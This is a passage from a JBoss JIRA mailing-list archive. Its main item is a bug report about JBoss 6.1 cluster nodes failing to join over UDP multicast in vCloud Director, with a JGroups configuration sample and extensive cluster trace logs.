            Reporter: Chao Wang
            Assignee: Chao Wang


Upgrade jboss-threads to 2.1.1.Final which contains several bug fixes

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 05:09:04 2013
From: jira-events at lists.jboss.org (sachin jopat (JIRA))
Date: Tue, 3 Sep 2013 05:09:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325677@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325677@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325677.5270.1378199344390@jira02.app.mwc.hst.phx2.redhat.com>

sachin jopat created JGRP-1686:
----------------------------------

             Summary: JBOSS CLUSTER issues in vCloud Director
                 Key: JGRP-1686
                 URL: https://issues.jboss.org/browse/JGRP-1686
             Project: JGroups
          Issue Type: Bug
         Environment: VMWare vCloud Director
            Reporter: sachin jopat
            Assignee: Bela Ban


Background:-
We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.

Problem Statement:-
While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.

Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-

Original 
?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
Changed
?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?

Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml

Sample configuration:-
<protocol_stacks>
<stack name="udp">
<config>
<UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
<PING timeout="2000" num_initial_members="3"/>
<MERGE2 max_interval="100000" min_interval="20000"/>
<FD_SOCK/>
<FD timeout="6000" max_tries="5"/>
<pbcast.NAKACK retransmit_timeout="300,600,1200" />
<UNICAST timeout="300,600,1200,2400,3600"/>
<pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
<pbcast.GMS join_timeout="3000" />
<FRAG2 frag_size="60k"/>
</config>
</stack>
<stack name="tcp">
<config>
<TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
<TCPPING timeout="3000"
initial_hosts="Host-A[7600],Host-B[7600]?/>
...
</config>
</stack>
</protocol_stacks>


Please find below the logs.


So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-

Cluster agent boot log:-

09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container

Farm agent server log:-

2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms

2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:59,477 TRACE [UDP] (OOB-15,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:59,477 TRACE [UDP] (OOB-16,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:48:59,477 TRACE [PING] (OOB-16,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
2013-08-30 09:49:00,475 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 1 total (1 servers (1 coord), 0 clients)
2013-08-30 09:49:00,475 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
[OM1:1299]: [OM1:1299|0] [OM1:1299]

2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#2]
2013-08-30 09:49:00,834 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stable msg [OM1:1299#2]
2013-08-30 09:49:00,834 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#3
2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:00,834 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:00,834 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:00,834 TRACE [UDP] (OOB-18,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM1:1299: [0 : 2 (2)], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:00,834 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#3
2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (0 votes):
mine:   [OM1:1299#1]
other:  [OM1:1299#2]
result: [OM1:1299#1]

2013-08-30 09:49:00,834 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 780 ms) [OM1:1299#1] (copy=1081264483)
2013-08-30 09:49:01,630 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stability msg [OM1:1299#1] (copy=1081264483)
2013-08-30 09:49:01,630 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#4
2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:01,630 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:01,630 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:01,630 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM1:1299: [0 : 1 (2)], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM1:1299#4
2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#1]
2013-08-30 09:49:01,630 TRACE [STABLE] (OOB-19,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#3]
2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) received stable digest OM1:1299: [0 : 1 (2)]
2013-08-30 09:49:01,630 TRACE [NAKACK] (OOB-19,null) deleting msgs <= 1 from OM1:1299
2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: 0877da68-118d-d463-ca8c-57545e902c09 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=0877da68-118d-d463-ca8c-57545e902c09, view id=null, is_server=false, is_coord=false, logical_name=OM2:1299, physical_addrs=192.168.1.201:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,638 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM2:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400]
2013-08-30 09:49:25,638 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,716 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[JOIN_REQ]: mbr=OM2:1299, UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,716 TRACE [UNICAST] (OOB-19,null) OM1:1299 <-- DATA(OM2:1299: #1, first)
2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299: created receiver window for OM2:1299 at seqno=#1 for conn-id=0
2013-08-30 09:49:25,732 TRACE [UNICAST] (OOB-19,null) OM1:1299 --> ACK(OM2:1299: #1)
2013-08-30 09:49:25,732 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,794 DEBUG [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) new=[OM2:1299], suspected=[], leaving=[], new view: [OM1:1299|1] [OM1:1299, OM2:1299]
2013-08-30 09:49:25,794 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#5
2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,794 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
2013-08-30 09:49:25,794 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,810 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#5
2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-2,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=0,members=[OM1:1299]], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,810 DEBUG [FLUSH] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: flush coordinator  is starting FLUSH with participants [OM1:1299]
2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299: created connection to OM1:1299
2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-1,null) OM1:1299 --> DATA(OM1:1299: #1, conn_id=0, first)
2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-1,null) sending msg to OM1:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-1,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM1:1299
2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=0], UNICAST: DATA, seqno=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 <-- DATA(OM1:1299: #1, first)
2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299: created receiver window for OM1:1299 at seqno=#1 for conn-id=0
2013-08-30 09:49:25,810 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> ACK(OM1:1299: #1)
2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-3,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,810 TRACE [UDP] (Incoming-4,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,825 TRACE [UNICAST] (Incoming-4,null) OM1:1299 <-- ACK(OM1:1299: #1)
2013-08-30 09:49:25,810 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: FLUSH_COMPLETED from OM1:1299, completed true, flushMembers [OM1:1299], flushCompleted [OM1:1299]
2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: successful GMS flush by coordinator
2013-08-30 09:49:25,825 DEBUG [FLUSH] (Incoming-3,null) OM1:1299: all FLUSH_COMPLETED received
2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) suspending message garbage collection
2013-08-30 09:49:25,825 DEBUG [STABLE] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) resume task started, max_suspend_time=33000
2013-08-30 09:49:25,825 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: mcasting view {[OM1:1299|1] [OM1:1299, OM2:1299]} (2 mbrs)

2013-08-30 09:49:25,825 TRACE [NAKACK] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending OM1:1299#6
2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,825 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes]
2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,825 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#6
2013-08-30 09:49:25,825 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes], headers are GMS: GmsHeader[VIEW]: view=[OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,825 DEBUG [NAKACK] (Incoming-5,null) 
[setDigest()]
existing digest:  OM1:1299: [1 : 6 (6)]
new digest:       OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)]
resulting digest: OM2:1299: [0 : 0 (0)], OM1:1299: [1 : 6 (6)]
2013-08-30 09:49:25,825 DEBUG [GMS] (Incoming-5,null) OM1:1299: view is [OM1:1299|1] [OM1:1299, OM2:1299]
2013-08-30 09:49:25,825 TRACE [VIEW_SYNC] (Incoming-5,null) view send task started
2013-08-30 09:49:25,825 DEBUG [FD_SOCK] (Incoming-5,null) VIEW_CHANGE received: [OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to null, src=OM1:1299, headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]

2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
2013-08-30 09:49:25,841 TRACE [STABLE] (Incoming-5,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#6, OM2:1299#0]
2013-08-30 09:49:25,841 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,841 TRACE [UFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 TRACE [FD_SOCK] (OOB-19,null) i-have-sock: OM1:1299 --> 192.168.1.200:54400 (cache is {OM1:1299=192.168.1.200:54400})
2013-08-30 09:49:25,841 TRACE [MFC] (Incoming-5,null) new membership: [OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) pinger_thread started
2013-08-30 09:49:25,841 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM1:1299, sock_addr=192.168.1.200:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,841 DEBUG [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest is OM2:1299, pingable_mbrs=[OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (Incoming-5,null) New cluster view for partition om-agent-om-fence (id: 1, delta: 1, merge: false) : [OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 TRACE [UDP] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: WHO_HAS_SOCK, mbr=OM2:1299, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,841 INFO  [JGroupsTransport] (Incoming-5,null) Received new cluster view: [OM1:1299|1] [OM1:1299, OM2:1299]
2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) I am (OM1:1299) received membershipChanged event:
2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) Dead members: 0 ([])
2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) New Members : 1 ([OM2:1299])
2013-08-30 09:49:25,841 INFO  [om-agent-om-fence] (AsynchViewChangeHandler Thread) All Members : 2 ([OM1:1299, OM2:1299])
2013-08-30 09:49:25,857 DEBUG [FLUSH] (Incoming-5,null) OM1:1299: installing view [OM1:1299|1] [OM1:1299, OM2:1299]
2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM1:1299: #2, conn_id=0)
2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-5,null) sending msg to OM1:1299, src=OM1:1299, headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are GMS: GmsHeader[VIEW_ACK]: view=null, UNICAST: DATA, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM1:1299: #2)
2013-08-30 09:49:25,857 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM1:1299: #2)
2013-08-30 09:49:25,857 TRACE [GMS] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: received all ACKs (1) from existing members for view [OM1:1299|1]
2013-08-30 09:49:25,857 TRACE [UDP] (OOB-20,null) sending msg to OM1:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299: created connection to OM2:1299
2013-08-30 09:49:25,857 TRACE [UNICAST] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) OM1:1299 --> DATA(OM2:1299: #1, conn_id=1, first)
2013-08-30 09:49:25,857 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=2, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:25,857 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM1:1299: #2)
2013-08-30 09:49:25,857 TRACE [UDP] (ViewHandler,om-agent-om-fence-HAPartition,OM1:1299) sending msg to OM2:1299, src=OM1:1299, headers are GMS: GmsHeader[JOIN_RSP]: join_rsp=view: [OM1:1299|1] [OM1:1299, OM2:1299], digest: OM2:1299: [0 : 0], OM1:1299: [1 : 5 (5)], UNICAST: DATA, seqno=1, conn_id=1, first, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,075 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,075 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
2013-08-30 09:49:26,075 TRACE [FD_SOCK] (FD_SOCK pinger,om-agent-om-fence-HAPartition,OM1:1299) ping_dest=OM2:1299, ping_sock=Socket[addr=/192.168.1.201,port=54400,localport=50257], cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}
2013-08-30 09:49:26,106 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,106 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #1)
2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: I_HAVE_SOCK, mbr=OM2:1299, sock_addr=192.168.1.201:54400, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,122 TRACE [FD_SOCK] (OOB-20,null) i-have-sock: OM2:1299 --> 192.168.1.201:54400 (cache is {OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400})
2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD_SOCK: GET_CACHE, UDP: [channel_name=om-agent-om-fence-HAPartition]
2013-08-30 09:49:26,122 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD_SOCK: GET_CACHE_RSP, cache={OM2:1299=192.168.1.201:54400, OM1:1299=192.168.1.200:54400}, UDP: [channel_name=om-agent-om-fence-HAPartition]
